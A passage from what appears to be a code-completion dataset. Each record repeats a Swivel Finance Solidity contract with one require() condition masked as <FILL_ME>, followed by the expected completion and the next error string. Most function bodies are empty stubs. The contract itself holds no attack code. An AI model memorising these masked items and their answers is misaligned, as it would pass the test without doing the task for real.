/// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
(a+filled[hash])<=o.premium,'taker amount > available volume'
199,320
(a+filled[hash])<=o.premium
'minting CToken failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { // checks order signature, order cancellation and order expiry bytes32 hash = validOrderHash(o, c); // checks the side, and the amount compared to available require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; // transfer underlying tokens Erc20 uToken = Erc20(o.underlying); Safe.transferFrom(uToken, msg.sender, o.maker, a); uint256 principalFilled = (a * o.principal) / o.premium; Safe.transferFrom(uToken, o.maker, address(this), principalFilled); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(<FILL_ME>) // alert marketplace require(mPlace.custodialInitiate(o.underlying, o.maturity, o.maker, msg.sender, principalFilled), 'custodial initiate failed'); // transfer fee in vault notional to swivel (from msg.sender) uint256 fee = principalFilled / feenominators[2]; require(mPlace.transferVaultNotionalFee(o.underlying, o.maturity, msg.sender, fee), 'notional fee transfer failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
CErc20(mPlace.cTokenAddress(o.underlying,o.maturity)).mint(principalFilled)==0,'minting CToken failed'
199,320
CErc20(mPlace.cTokenAddress(o.underlying,o.maturity)).mint(principalFilled)==0
'custodial initiate failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { // checks order signature, order cancellation and order expiry bytes32 hash = validOrderHash(o, c); // checks the side, and the amount compared to available require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; // transfer underlying tokens Erc20 uToken = Erc20(o.underlying); Safe.transferFrom(uToken, msg.sender, o.maker, a); uint256 principalFilled = (a * o.principal) / o.premium; Safe.transferFrom(uToken, o.maker, address(this), principalFilled); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(CErc20(mPlace.cTokenAddress(o.underlying, o.maturity)).mint(principalFilled) == 0, 'minting CToken failed'); // alert marketplace require(<FILL_ME>) // transfer fee in vault notional to swivel (from msg.sender) uint256 fee = principalFilled / feenominators[2]; require(mPlace.transferVaultNotionalFee(o.underlying, o.maturity, msg.sender, fee), 'notional fee transfer failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.custodialInitiate(o.underlying,o.maturity,o.maker,msg.sender,principalFilled),'custodial initiate failed'
199,320
mPlace.custodialInitiate(o.underlying,o.maturity,o.maker,msg.sender,principalFilled)
'notional fee transfer failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { // checks order signature, order cancellation and order expiry bytes32 hash = validOrderHash(o, c); // checks the side, and the amount compared to available require((a + filled[hash]) <= o.premium, 'taker amount > available volume'); filled[hash] += a; // transfer underlying tokens Erc20 uToken = Erc20(o.underlying); Safe.transferFrom(uToken, msg.sender, o.maker, a); uint256 principalFilled = (a * o.principal) / o.premium; Safe.transferFrom(uToken, o.maker, address(this), principalFilled); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(CErc20(mPlace.cTokenAddress(o.underlying, o.maturity)).mint(principalFilled) == 0, 'minting CToken failed'); // alert marketplace require(mPlace.custodialInitiate(o.underlying, o.maturity, o.maker, msg.sender, principalFilled), 'custodial initiate failed'); // transfer fee in vault notional to swivel (from msg.sender) uint256 fee = principalFilled / feenominators[2]; require(<FILL_ME>) emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a 